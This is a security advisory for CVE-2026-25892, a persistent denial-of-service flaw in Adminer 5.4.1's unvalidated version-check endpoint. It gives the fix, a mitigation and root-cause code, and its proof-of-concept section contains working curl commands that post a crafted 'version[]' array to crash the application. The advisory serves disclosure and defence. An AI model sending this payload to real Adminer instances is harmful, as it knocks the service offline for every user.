CVE-2026-25892

### Summary Adminer v5.4.1 has a version check mechanism where `adminer.org` sends signed version info via JavaScript postMessage, which the browser then POSTs to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, `openssl_verify()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users. ### Fix Upgrade to Adminer 5.4.2. **Mitigation** (if you can't upgrade): Make file `adminer.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server. ### Details **1. Intended design of `?script=version`:** The endpoint is designed to receive version data from `adminer.org` via browser JavaScript: - `functions.js` line 102-117: Creates iframe to `https://www.adminer.org/version/` - Adminer.org sends signed version data via `postMessage` - JavaScript POSTs this to `?script=version` - Server stores in `/tmp/adminer.version` for signature verification ```javascript // functions.js line 117 ajax(url + 'script=version', () => { }, event.data + '&token=' + token); ``` **2. The vulnerability:** The endpoint only checks `$_GET["script"] == "version"` - it does not validate: - Request origin (no CSRF token check for this endpoint) - Request source (any HTTP client can POST) - Parameter types (`version` expected as string, array not rejected) ```php // bootstrap.inc.php line 32-40 if ($_GET["script"] == "version") { $filename = get_temp_dir() . "/adminer.version"; @unlink($filename); $fp = file_open_lock($filename); if ($fp) { file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"]))); } exit; } ``` **3. Type confusion crash:** When POST contains `version[]` instead of `version`, PHP creates an array. When Adminer reads this file and passes to `openssl_verify()`: ```php // design.inc.php line 75 if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) { ``` PHP 8.x throws: ``` TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given ``` ### PoC **Steps to Reproduce:** **Step 1:** Verify Adminer is running and accessible. ```bash curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php ``` Expected output: ``` 200 ``` **Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string. ```bash curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \ -d "signature=x&version[]=INJECTED" ``` Expected output: Empty response (no error). **Step 3:** Access Adminer again to trigger the crash. ```bash curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php ``` Expected output: ``` 500 ``` **Step 4:** (Optional) View the PHP error in server logs. ``` PHP Fatal error: Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386 ``` **Step 5:** (Optional) Inspect the poisoned file. ```bash cat /tmp/adminer.version ``` Expected output: ``` a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}} ``` **Recovery:** ```bash rm /tmp/adminer.version ``` After deletion, Adminer returns HTTP 200. --- ### Impact **Type:** Denial of Service **Root cause:** The `?script=version` endpoint is designed to receive data from `adminer.org` via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `openssl_verify()`, this allows persistent DoS. **Affected users:** Any Adminer instance accessible over the network.